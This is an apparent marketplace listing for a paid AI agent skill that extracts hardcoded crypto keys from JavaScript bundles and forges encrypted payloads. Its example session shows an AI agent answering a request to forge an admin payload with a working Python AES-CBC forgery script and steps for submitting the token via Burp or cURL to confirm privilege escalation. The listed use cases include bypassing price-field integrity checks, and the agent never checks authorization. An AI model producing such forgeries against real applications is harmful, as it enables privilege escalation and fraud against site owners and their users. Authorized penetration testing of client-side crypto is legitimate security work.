Works with the AI Agents you already use
client side crypto forgery
Extract client-side crypto keys from JS bundles to forge valid payloads and test server-side trust.
$5
client side crypto forgery
Example session with this skill installed
I found a JS bundle using CryptoJS.AES with a hardcoded string 'v3ry-s3cr3t-k3y'. It encrypts a JSON object {user_id: 101, role: 'guest'}. Re-implement this so I can forge an admin payload.
- Read your context and instructions
- Compiled the client side crypto
Analyzed the CryptoJS implementation. The client uses AES-CBC with a SHA256-derived key and a fixed 16-byte IV. I have re-implemented the scheme in Python and prepared an administrative payload.
Cryptographic Forgery Implementation
The following script derives the key from the discovered string, replicates the CBC padding, and generates a forged payload.
import json
import base64
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import hashlib
def forge_admin_payload(secret_string, target_data):
# Replicating client-side derivation: SHA256 of the secret string
key = hashlib.sha256(secret_string.encode()).digest()
# Client uses a fixed IV (common in broken implementations)
# If the IV is random, it is usually prepended to the ciphertext
iv = b'\x00' * 16
# Prepare data
data_bytes = json.dumps(target_data).encode()
# Add PKCS7 padding as expected by CryptoJS AES
padder = padding.PKCS7(128).padder()
padded_data = padder.update(data_bytes) + padder.finalize()
# Encrypt
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
ct = encryptor.update(padded_data) + encryptor.finalize()
# Return Base64 encoded string for submission
return base64.b64encode(ct).decode()
# Configuration
SECRET = "v3ry-s3cr3t-k3y"
ADMIN_PAYLOAD = {"user_id": 101, "role": "admin"}
forged_token = forge_admin_payload(SECRET, ADMIN_PAYLOAD)
print(f"Forged Token: {forged_token}")
| Component | Value / Setting |
|---|---|
| Algorithm | AES-256-CBC |
| Key Derivation | SHA256(secret_string) |
| Padding | PKCS7 |
| IV Source | Static (16 null bytes) |
| Target Field | x-encrypted-auth header |
Next steps
- Run the script and verify the output length matches legitimate intercepted tokens.
- Submit the forged token via Burp Suite or cURL while maintaining a valid session cookie.
- Check the application response for a 200 OK or administrative menu items to confirm escalation.
Connects securely to your tools. The creator never sees your data.
About this skill
The problem
Web applications often rely on client-side encryption or signing to protect data, assuming the browser is a trusted environment. If the cryptographic keys or derivation logic are shipped in the JavaScript bundles, the security model is compromised, allowing attackers to manipulate protected data.
What it does
- Scans application JavaScript bundles to identify cryptographic libraries like CryptoJS, JSEncrypt, or WebCrypto.
- Locates embedded keys, hex/base64 literals, and derivation functions (e.g., SHA256-hashed passphrases).
- Reverse-engineers the encryption scheme including algorithms (AES-GCM, CBC), IV generation, and output encoding.
- Re-implements the logic in Python to verify round-trip encryption/decryption against legitimate traffic.
- Generates forged payloads to test server-side trust in hidden fields like roles, prices, and user IDs.
Frameworks & tools
Python (cryptography library), JavaScript DevTools, CryptoJS, AES-GCM, SHA256, and Base64 encoding.
Why this beats prompting it yourself
Most LLMs struggle to maintain the strict binary and encoding precision required for cryptographic forgery, often hallucinating padding or IV lengths. This skill provides a systematic methodology for extracting keys from obfuscated JS and ensures the re-implementation is verified before deployment.
Use cases
- Penetration testing of SPAs that sign form data in the browser.
- Bypassing client-side integrity checks on e-commerce price fields.
- Escalating privileges by modifying encrypted role claims in local storage.
- Testing server-side resilience against stored XSS in encrypted fields.
Known limitations
Requires authorized engagement environments. Does not handle keys stored in Hardware Security Modules (HSMs) or Secure Enclaves. Effectiveness is limited if keys are rotated per-session via backend-only OOB channels.
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.
Requires authorized engagement. Limited if keys are rotated per-session via backend OOB channels or stored in HSMs. Requires the Python cryptography library for re-implementation.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Money-back guarantee
Doesn't do what its page promises? You get your money back.
Trust & safety
Security scan
Security scan passed 8 days ago